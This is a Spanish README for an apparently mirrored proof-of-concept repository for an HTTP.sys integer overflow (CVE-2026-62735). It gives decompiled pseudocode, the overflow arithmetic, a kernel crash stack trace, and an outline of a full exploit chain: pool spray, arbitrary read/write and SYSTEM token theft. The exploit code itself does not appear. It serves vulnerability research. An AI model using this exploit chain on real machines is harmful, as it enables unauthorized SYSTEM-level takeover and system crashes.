
Exploit de escalada de privilegios local para Windows HTTP.sys por desbordamiento de entero (CVE-2026-62735), que demuestra un fallo y una shell completa de SYSTEM mediante desbordamiento del pool no paginado. Para pruebas autorizadas.
Integer Overflow. Con esta vulnerabilidad, tenemos la primitiva Heap Overflow -> SYSTEM shell.Integer Overflowhttp.sysUlpCreateInternalResponseOldhttp.sys asigna memoria basándose en TotalHeaderBytes, aunque las cabeceras requieren un búfer mucho mayor. Esto proporciona la base para desbordar la asignación del grupo no paginado en UlGenerateMultipleKnownHeadersOld:__int64 __fastcall UlpCreateInternalResponseOld(
sv_UL_REQUEST *Request,
unsigned __int16 EntityChunkCount,
unsigned int FixedHeaderCount,
unsigned int FixedHeaderBytes,
unsigned int MultipleHeaderCount,
unsigned int MultipleHeaderBytes,
unsigned __int16 KnownHeaderCount,
unsigned int TrailerCount,
unsigned int TrailerBytes,
char FastForwardRequested,
char CacheEligible,
char ResponseInfoPresent,
char AutomaticChunkingRequired,
char AdditionalHeaderRequired,
sv_UL_INTERNAL_RESPONSE **InternalResponseOut)
{
int VariableHeaderBytes; // r9d
int H3ExtraHeaderBytes; // r10d
unsigned int MultipleHeaderBytesLocal; // ecx
unsigned int TotalHeaderBytes; // [rsp+E8h] [rbp+60h]
...
// 0xffffff32 + 0x2e + 0 + 0xa0 = 0x4e
TotalHeaderBytes = MultipleHeaderBytesLocal + FixedHeaderBytes + H3ExtraHeaderBytes + VariableHeaderBytes;
...
}
*** Fatal System Error: 0x00000050
(0xFFFFCD86AE712000,0x0000000000000002,0xFFFFF807489C4362,0x0000000000000002)
Driver at fault:
*** HTTP.sys - Address FFFFF807489C4362 base at FFFFF80748860000, DateStamp 2bfcaa4c
.
Break instruction exception - code 80000003 (first chance)
A fatal system error has occurred.
Debugger entered on first try; Bugcheck callbacks have not been invoked.
A fatal system error has occurred.
For analysis of this file, run !analyze -v
nt!DbgBreakPointWithStatus:
fffff807`b26fa0d0 cc int 3
0: kd> k
# Child-SP RetAddr Call Site
00 ffffe205`092ddf78 fffff807`b27afcf2 nt!DbgBreakPointWithStatus
01 ffffe205`092ddf80 fffff807`b27af21e nt!KiBugCheckDebugBreak+0x12
02 ffffe205`092ddfe0 fffff807`b26f9357 nt!KeBugCheck2+0xb2e
03 ffffe205`092de770 fffff807`b24fd030 nt!KeBugCheckEx+0x107
04 ffffe205`092de7b0 fffff807`b2443c56 nt!MiSystemFault+0x850
05 ffffe205`092de8a0 fffff807`b28badcb nt!MmAccessFault+0x646
06 ffffe205`092dea10 fffff807`489c4362 nt!KiPageFault+0x38b
07 ffffe205`092deba8 fffff807`489a6611 HTTP!memcpy+0x122
08 ffffe205`092debb0 fffff807`4897c165 HTTP!UlGenerateMultipleKnownHeadersOld+0xbdd
09 ffffe205`092ded90 fffff807`48976db0 HTTP!UlpPrepareHttpResponseOld+0x2c9
0a ffffe205`092dee70 fffff807`489361a4 HTTP!UlCaptureHttpResponseOld+0x92c
0b ffffe205`092defc0 fffff807`488f7c92 HTTP!UlSendHttpResponseIoctlOld+0x1160
0c ffffe205`092df600 fffff807`488c4db5 HTTP!UlSendHttpResponseIoctl+0x12
0d ffffe205`092df630 fffff807`b245cabb HTTP!UxDeviceControl+0xb5
0e ffffe205`092df670 fffff807`b245ca33 nt!IopfCallDriver+0x5b
0f ffffe205`092df6b0 fffff807`b2ac0e75 nt!IofCallDriver+0x13
10 ffffe205`092df6e0 fffff807`b2abfcbc nt!IopSynchronousServiceTail+0x1c5
11 ffffe205`092df790 fffff807`b2abf30e nt!IopXxxControlFile+0x99c
12 ffffe205`092dfa00 fffff807`b28bf255 nt!NtDeviceIoControlFile+0x5e
13 ffffe205`092dfa70 00007ffa`d37c0144 nt!KiSystemServiceCopyEnd+0x25
14 00000014`0d9af2d8 00007ffa`d08a3953 ntdll!NtDeviceIoControlFile+0x14
15 00000014`0d9af2e0 00007ffa`d1f93335 KERNELBASE!DeviceIoControl+0x73
16 00000014`0d9af350 00007ff7`00cb1cb4 KERNEL32!DeviceIoControlImplementation+0x75
17 00000014`0d9af3a0 00000000`00001f7f poc!main+0x924
18 00000014`0d9af3a8 00000000`00000007 0x1f7f
19 00000014`0d9af3b0 00000014`0d9af4a0 0x7
1a 00000014`0d9af3b8 00000000`00000000 0x00000014`0d9af4a0
Este repositorio es una imagen de distribución intermediaria del PoC de la vulnerabilidad CVE-2026-62735 (Windows HTTP.sys Integer Overflow → Nonpaged Pool Overflow → SYSTEM) (las notas técnicas se encuentran en el README original de arriba). El contenido proviene del PoC público de aguas arriba y se utiliza únicamente con fines de archivo y distribución. El PoC es solo para investigación de seguridad, verificación de vulnerabilidades y pruebas autorizadas; no lo utilice en objetivos no autorizados.
UlpCreateInternalResponseOld / UlGenerateMultipleKnownHeadersOld (http.sys, ruta de código antigua)0x12403F (UlSendHttpResponseIoctl)Principio central: TotalHeaderBytes = MultipleHeaderBytesLocal + FixedHeaderBytes + H3ExtraHeaderBytes + VariableHeaderBytes — cuando los bytes de las cabeceras de respuesta de valores múltiples se construyen cerca de 2³², esta suma de 32 bits se envuelve a un valor mínimo (0xffffff32 + 0x2e + 0 + 0xa0 = 0x4e), ExAllocatePool3 asigna un búfer del kernel mucho más pequeño que el necesario real, y luego el memcpy de UlGenerateMultipleKnownHeadersOld escribe fuera de los límites de ese bloque del grupo no paginado.
poc/ poc.cpp + head.hpp —— Explotación completa: DQE heap spray con named pipes → control de cabecera 0x30 mediante pool overflow → lectura/escritura arbitraria → copia del token de SYSTEM → SYSTEM shell
crash/ poc.cpp + head.hpp —— Solo activación del fallo (verifica la existencia de la vulnerabilidad, activa bugcheck 0x50)
crash/ y poc/ son ejecutables independientes; al ejecutar poc.exe con éxito se abrirá un shell de SYSTEMEste PoC es solo para fines educativos, investigación de seguridad y pruebas autorizadas; solo debe ejecutarse en sistemas propios o con autorización explícita. La explotación escala a SYSTEM mediante un desbordamiento del pool del kernel y puede provocar una pantalla azul (0x50); pruébelo en una máquina virtual desechable.
LICENSE).